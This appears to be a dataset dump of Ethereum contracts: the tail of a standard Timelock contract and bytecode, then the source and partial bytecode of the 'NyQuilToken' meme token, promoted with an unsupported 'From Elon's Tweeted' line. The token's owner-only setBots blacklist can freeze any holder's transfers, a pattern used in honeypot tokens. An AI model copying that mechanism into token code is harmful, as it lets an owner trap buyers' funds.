setDelay(uint256 delay_) public { require( msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock." ); require( delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay." ); require( delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay." ); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require( msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin." ); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require( msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock." ); } else { require( msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin." ); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public returns (bytes32) { require( msg.sender == admin, "Timelock::queueTransaction: Call must come from admin." ); require( eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay." ); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public { require( msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin." ); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public payable returns (bytes memory) { require( msg.sender == admin, "Timelock::executeTransaction: Call must come from admin." ); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require( queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued." ); require( getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock." ); require( getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale." ); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked( bytes4(keccak256(bytes(signature))), data ); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require( success, "Timelock::executeTransaction: Transaction execution reverted." ); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() public view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100ec5760003560e01c80636fc1f57e1161008a578063c1a287e211610059578063c1a287e214610651578063e177246e14610666578063f2b0653714610690578063f851a440146106ba576100f3565b80636fc1f57e146105e9578063796b89b9146106125780637d645fab14610627578063b1b43ae51461063c576100f3565b80633a66f901116100c65780633a66f901146102f55780634dd18bf514610454578063591fcdfe146104875780636a42b8f8146105d4576100f3565b80630825f38f146100f85780630e18b681146102ad57806326782247146102c4576100f3565b366100f357005b600080fd5b610238600480360360a081101561010e57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013d57600080fd5b82018360208201111561014f57600080fd5b803590602001918460018302840111600160201b8311171561017057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101c257600080fd5b8201836020820111156101d457600080fd5b803590602001918460018302840111600160201b831117156101f557600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106cf915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027257818101518382015260200161025a565b50505050905090810190601f16801561029f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b957600080fd5b506102c2610bcf565b005b3480156102d057600080fd5b506102d9610c6b565b604080516001600160a01b039092168252519081900360200190f35b34801561030157600080fd5b50610442600480360360a081101561031857600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561034757600080fd5b82018360208201111561035957600080fd5b803590602001918460018302840111600160201b8311171561037a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103cc57600080fd5b8201836020820111156103de57600080fd5b803590602001918460018302840111600160201b831117156103ff57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c7a915050565b60408051918252519081900360200190f35b34801561046057600080fd5b506102c26004803603602081101561047757600080fd5b50356001600160a01b0316610f7c565b34801561049357600080fd5b506102c2600480360360a08110156104aa57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104d957600080fd5b8201836020820111156104eb57600080fd5b803590602001918460018302840111600160201b8311171561050c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561055e57600080fd5b82018360208201111561057057600080fd5b803590602001918460018302840111600160201b8311171561059157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611071915050565b3480156105e057600080fd5b5061044261131e565b3480156105f557600080fd5b506105fe611324565b604080519115158252519081900360200190f35b34801561061e57600080fd5b5061044261132d565b34801561063357600080fd5b50610442611331565b34801561064857600080fd5b50610442611338565b34801561065d57600080fd5b5061044261133f565b34801561067257600080fd5b506102c26004803603602081101561068957600080fd5b5035611346565b34801561069c57600080fd5b506105fe600480360360208110156106b357600080fd5b503561143b565b3480156106c657600080fd5b506102d9611450565b6000546060906001600160a01b0316331461071b5760405162461bcd60e51b81526004018080602001828103825260388152602001806114c16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610781578181015183820152602001610769565b50505050905090810190601f1680156107ae5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107e15781810151838201526020016107c9565b50505050905090810190601f16801561080e5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600490935291205490995060ff16975061087f96505050505050505760405162461bcd60e51b815260040180806020018281038252603d81526020018061164f603d913960400191505060405180910390fd5b8261088861132d565b10156108c55760405162461bcd60e51b81526004018080602001828103825260458152602001806115636045913960600191505060405180910390fd5b6108d2836212750061145f565b6108da61132d565b11156109175760405162461bcd60e51b81526004018080602001828103825260338152602001806115306033913960400191505060405180910390fd5b6000818152600460205260409020805460ff19169055845160609061093d5750836109c0565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109885780518252601f199092019160209182019101610969565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109ff5780518252601f1990920191602091820191016109e0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a61576040519150601f19603f3d011682016040523d82523d6000602084013e610a66565b606091505b509150915081610aa75760405162461bcd60e51b815260040180806020018281038252603d815260200180611732603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b24578181015183820152602001610b0c565b50505050905090810190601f168015610b515780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b84578181015183820152602001610b6c565b50505050905090810190601f168015610bb15780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c185760405162461bcd60e51b815260040180806020018281038252603881526020018061168c6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610cc45760405162461bcd60e51b81526004018080602001828103825260368152602001806116fc6036913960400191505060405180910390fd5b610cd8600254610cd261132d565b9061145f565b821015610d165760405162461bcd60e51b815260040180806020018281038252604981526020018061176f6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d7c578181015183820152602001610d64565b50505050905090810190601f168015610da95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610ddc578181015183820152602001610dc4565b50505050905090810190601f168015610e095780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610ed4578181015183820152602001610ebc565b50505050905090810190601f168015610f015780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f34578181015183820152602001610f1c565b50505050905090810190601f168015610f615780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610fca57333014610fc55760405162461bcd60e51b81526004018080602001828103825260388152602001806116c46038913960400191505060405180910390fd5b611021565b6000546001600160a01b031633146110135760405162461bcd60e51b815260040180806020018281038252603b8152602001806115dc603b913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146110ba5760405162461bcd60e51b81526004018080602001828103825260378152602001806114f96037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611120578181015183820152602001611108565b50505050905090810190601f16801561114d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611180578181015183820152602001611168565b50505050905090810190601f1680156111ad5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611278578181015183820152602001611260565b50505050905090810190601f1680156112a55780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112d85781810151838201526020016112c0565b50505050905090810190601f1680156113055780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b4290565b62278d0081565b6202a30081565b6212750081565b3330146113845760405162461bcd60e51b81526004018080602001828103825260318152602001806117b86031913960400191505060405180910390fd5b6202a3008110156113c65760405162461bcd60e51b81526004018080602001828103825260348152602001806115a86034913960400191505060405180910390fd5b62278d008111156114085760405162461bcd60e51b81526004018080602001828103825260388152602001806116176038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b6000828201838110156114b9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea264697066735822122043efc6f790e90b42a3df51ef5f2f3530a097da628170b1851f4bf91884344f1364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,053
0x7a5df14aec349b90d1fdb1da9a323c6658b76391
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ /* From Elon's Tweeted https://t.me/NyQuilToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NyQuil is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "NyQuilToken"; string private constant _symbol = "NyQuil"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x2D551CbfdB56baC568f41eb05bc9D6B943196f20); _feeAddrWallet2 = payable(0x2D551CbfdB56baC568f41eb05bc9D6B943196f20); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e7 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e9 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f3578063c3c8cd8014610313578063c9567bf914610328578063dd62ed3e1461033d578063ff8726021461038357600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d357600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a273ca8bab4b62a37b5b2b760a91b60208201525b604051610156919061180f565b60405180910390f35b34801561016b57600080fd5b5061017f61017a3660046116af565b610398565b6040519015158152602001610156565b34801561019b57600080fd5b50670de0b6b3a76400005b604051908152602001610156565b3480156101c057600080fd5b5061017f6101cf36600461166e565b6103af565b3480156101e057600080fd5b506101f46101ef3660046115fb565b610418565b005b34801561020257600080fd5b5060405160098152602001610156565b34801561021e57600080fd5b506101f461022d3660046117a7565b61046c565b34801561023e57600080fd5b506101f46104b4565b34801561025357600080fd5b506101a66102623660046115fb565b6104e1565b34801561027357600080fd5b506101f4610503565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b057600080fd5b50604080518082019091526006815265139e545d5a5b60d21b6020820152610149565b3480156102df57600080fd5b5061017f6102ee3660046116af565b610577565b3480156102ff57600080fd5b506101f461030e3660046116db565b610584565b34801561031f57600080fd5b506101f461061a565b34801561033457600080fd5b506101f4610650565b34801561034957600080fd5b506101a6610358366004611635565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038f57600080fd5b506101f4610a11565b60006103a5338484610a49565b5060015b92915050565b60006103bc848484610b6d565b61040e8433610409856040518060600160405280602881526020016119fb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610eba565b610a49565b5060019392505050565b6000546001600160a01b0316331461044b5760405162461bcd60e51b815260040161044290611864565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104965760405162461bcd60e51b815260040161044290611864565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d457600080fd5b476104de81610ef4565b50565b6001600160a01b0381166000908152600260205260408120546103a990610f79565b6000546001600160a01b0316331461052d5760405162461bcd60e51b815260040161044290611864565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a5338484610b6d565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260040161044290611864565b60005b8151811015610616576001600660008484815181106105d2576105d26119ab565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060e8161197a565b9150506105b1565b5050565b600c546001600160a01b0316336001600160a01b03161461063a57600080fd5b6000610645306104e1565b90506104de81610ffd565b6000546001600160a01b0316331461067a5760405162461bcd60e51b815260040161044290611864565b600f54600160a01b900460ff16156106d45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107103082670de0b6b3a7640000610a49565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074957600080fd5b505afa15801561075d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107819190611618565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c957600080fd5b505afa1580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108019190611618565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084957600080fd5b505af115801561085d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108819190611618565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108b1816104e1565b6000806108c66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561092957600080fd5b505af115801561093d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096291906117e1565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109d957600080fd5b505af11580156109ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061691906117c4565b6000546001600160a01b03163314610a3b5760405162461bcd60e51b815260040161044290611864565b670de0b6b3a7640000601055565b6001600160a01b038316610aab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610b0c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610c955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6002600a556008600b556000546001600160a01b03848116911614801590610ccb57506000546001600160a01b03838116911614155b15610eaa576001600160a01b03831660009081526006602052604090205460ff16158015610d1257506001600160a01b03821660009081526006602052604090205460ff16155b610d1b57600080fd5b600f546001600160a01b038481169116148015610d465750600e546001600160a01b03838116911614155b8015610d6b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d805750600f54600160b81b900460ff165b15610ddd57601054811115610d9457600080fd5b6001600160a01b0382166000908152600760205260409020544211610db857600080fd5b610dc342601e61190a565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e085750600e546001600160a01b03848116911614155b8015610e2d57506001600160a01b03831660009081526005602052604090205460ff16155b15610e3d576002600a908155600b555b6000610e48306104e1565b600f54909150600160a81b900460ff16158015610e735750600f546001600160a01b03858116911614155b8015610e885750600f54600160b01b900460ff165b15610ea857610e9681610ffd565b478015610ea657610ea647610ef4565b505b505b610eb5838383611186565b505050565b60008184841115610ede5760405162461bcd60e51b8152600401610442919061180f565b506000610eeb8486611963565b95945050505050565b600c546001600160a01b03166108fc610f0e836002611191565b6040518115909202916000818181858888f19350505050158015610f36573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f51836002611191565b6040518115909202916000818181858888f19350505050158015610616573d6000803e3d6000fd5b6000600854821115610fe05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e742